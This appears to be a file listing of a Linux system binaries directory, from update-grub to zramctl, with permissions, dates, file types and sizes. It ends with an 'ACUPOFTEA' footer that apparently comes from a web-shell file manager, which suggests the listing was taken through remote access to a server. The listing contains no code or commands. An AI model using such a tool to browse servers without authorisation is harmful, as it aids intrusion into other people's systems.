-rwxr-xr-x
2026-06-15 04:17:29
update-grub
text/x-shellscript
64 B
-rwxr-xr-x
2022-12-02 03:18:47
update-grub-gfxpayload
text/x-shellscript
301 B
-rwxr-xr-x
2015-03-27 05:50:35
update-grub2
text/x-shellscript
64 B
-rwxr-xr-x
2022-12-02 03:18:47
update-gsfontmap
text/x-shellscript
470 B
-rwxr-xr-x
2025-09-25 04:42:27
update-info-dir
text/x-shellscript
1.66 KB
-rwxr-xr-x
2022-02-06 12:48:45
update-initramfs
text/x-shellscript
6.74 KB
-rwxr-xr-x
2024-03-19 12:05:17
update-locale
text/x-perl
2.99 KB
-rwxr-xr-x
2025-07-15 09:40:00
update-mime
text/x-perl
9.39 KB
-rwxr-xr-x
2026-07-03 01:05:05
update-passwd
application/x-pie-executable
34.56 KB
-rwxr-xr-x
2022-03-23 09:42:40
update-pciids
text/x-shellscript
1.71 KB
-rwxr-xr-x
2021-08-30 02:45:58
update-rc.d
text/x-perl
16.92 KB
-rwxr-xr-x
2021-12-07 09:55:54
update-shells
text/x-shellscript
3.72 KB
-rwxr-xr-x
2022-03-23 01:49:54
upgrade-from-grub-legacy
text/x-shellscript
1.56 KB
-rwxr-xr-x
2022-12-02 03:18:47
usb_modeswitch
application/x-pie-executable
59.66 KB
-rwxr-xr-x
2022-03-25 09:53:05
usb_modeswitch_dispatcher
text/plain
26.78 KB
-rwxr-xr-x
2022-03-25 09:53:05
usbmuxd
application/x-pie-executable
86.6 KB
-rwxr-xr-x
2025-12-11 01:43:43
useradd
application/x-pie-executable
127.66 KB
-rwxr-xr-x
2024-02-06 12:54:23
userdel
application/x-pie-executable
86.85 KB
-rwxr-xr-x
2024-02-06 12:54:23
usermod
application/x-pie-executable
123.46 KB
-rwxr-xr-x
2024-02-06 12:54:23
uuidd
application/x-pie-executable
30.85 KB
-rwxr-xr-x
2026-03-06 04:10:04
validlocale
text/x-perl
1.73 KB
-rwxr-xr-x
2025-07-15 09:40:00
vcstime
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-12-16 02:14:33
vdpa
application/x-pie-executable
30.56 KB
-rwxr-xr-x
2026-04-15 07:15:26
veritysetup
application/x-pie-executable
43.76 KB
-rwxr-xr-x
2024-11-14 03:21:19
vgcfgbackup
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgcfgrestore
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgchange
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgck
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgconvert
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgcreate
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgdisplay
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgexport
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgextend
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgimport
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgimportclone
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgmerge
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgmknodes
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgreduce
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgremove
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgrename
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgs
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgscan
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vgsplit
application/x-pie-executable
2.89 MB
-rwxr-xr-x
2024-11-27 07:04:29
vigr
application/x-pie-executable
56.53 KB
-rwxr-xr-x
2024-02-06 12:54:23
vipw
application/x-pie-executable
56.53 KB
-rwxr-xr-x
2024-02-06 12:54:23
visudo
application/x-pie-executable
219.79 KB
-rwxr-xr-x
2026-03-02 01:08:06
vpddecode
application/x-pie-executable
14.58 KB
-rwxr-xr-x
2024-10-14 08:28:46
wipefs
application/x-pie-executable
38.38 KB
-rwxr-xr-x
2026-03-06 04:10:04
xfs_admin
text/x-shellscript
1.37 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_bmap
text/x-shellscript
695 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_copy
application/x-pie-executable
82.48 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_db
application/x-pie-executable
652.44 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_estimate
application/x-pie-executable
14.16 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_freeze
text/x-shellscript
800 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_fsr
application/x-pie-executable
42.18 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_growfs
application/x-pie-executable
38.28 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_info
text/x-shellscript
1.26 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_io
application/x-pie-executable
199.55 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_logprint
application/x-pie-executable
78.33 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_mdrestore
application/x-pie-executable
26.17 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_metadump
text/x-shellscript
782 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_mkfile
text/x-shellscript
1.02 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_ncheck
text/x-shellscript
685 B
-rwxr-xr-x
2024-10-17 06:49:09
xfs_quota
application/x-pie-executable
90.16 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_repair
application/x-pie-executable
599.38 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_rtcp
application/x-pie-executable
18.15 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_scrub
application/x-pie-executable
106.27 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_scrub_all
text/x-script.python
5.87 KB
-rwxr-xr-x
2024-10-17 06:49:09
xfs_spaceman
application/x-pie-executable
42.3 KB
-rwxr-xr-x
2024-10-17 06:49:09
xtables-legacy-multi
application/x-pie-executable
96.95 KB
-rwxr-xr-x
2024-01-16 09:14:30
xtables-monitor
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
xtables-nft-multi
application/x-pie-executable
219.04 KB
-rwxr-xr-x
2024-01-16 09:14:30
zerofree
application/x-pie-executable
14.15 KB
-rwxr-xr-x
2022-03-25 09:54:54
zic
application/x-pie-executable
62.32 KB
-rwxr-xr-x
2026-07-24 12:11:17
zramctl
application/x-pie-executable
54.52 KB
-rwxr-xr-x
2026-03-06 04:10:04
~ ACUPOFTEA - www.loginstore.com